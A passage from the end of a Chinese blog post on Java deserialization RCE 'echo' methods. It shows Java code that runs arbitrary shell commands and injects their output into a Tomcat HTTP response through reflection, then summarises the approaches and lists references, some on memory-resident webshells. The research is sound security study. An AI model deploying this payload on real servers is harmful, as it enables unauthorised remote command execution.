String[] cmds = !System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
java.io.InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
java.io.Writer writer = request.getResponse().getWriter();
java.lang.reflect.Field usingWriter = request.getResponse().getClass().getDeclaredField("usingWriter");
usingWriter.setAccessible(true);
usingWriter.set(request.getResponse(), Boolean.FALSE);
writer.write(output);
writer.flush();

break;
}
}

break;
}
}

}catch (Exception e){
e.printStackTrace();
}

}
}

总结

​ 目前分析的这些回显方案总的来讲分为如下两种思路

  • 通过defineClass类似的方法加载远程或者本地的字节码执行命令,并将命令执行的结果通过异常显示。
  • 通过某种方法获取请求的响应包,将命令执行的结果写入到响应包中。

​ 在本次了解JAVA反序列化回显方案中,还是发现了很多知识点的不清晰,深深感到自己知识功底不扎实,Linux和Windows的回显方案也依赖对于Socket的理解上,Tomcat的回显又依赖于对tomcat源码的了解上,如果没有这些基础,是很难自己挖掘到这种回显方法的。

参考文章

java Web代码执行漏洞回显总结

Java RCE 回显

Java 反序列化回显的多种姿势

基于tomcat的内存 Webshell 无文件攻击技术

基于全局储存的新思路 | Tomcat的一种通用回显方法研究

Weblogic使用ClassLoader和RMI来回显命令执行结果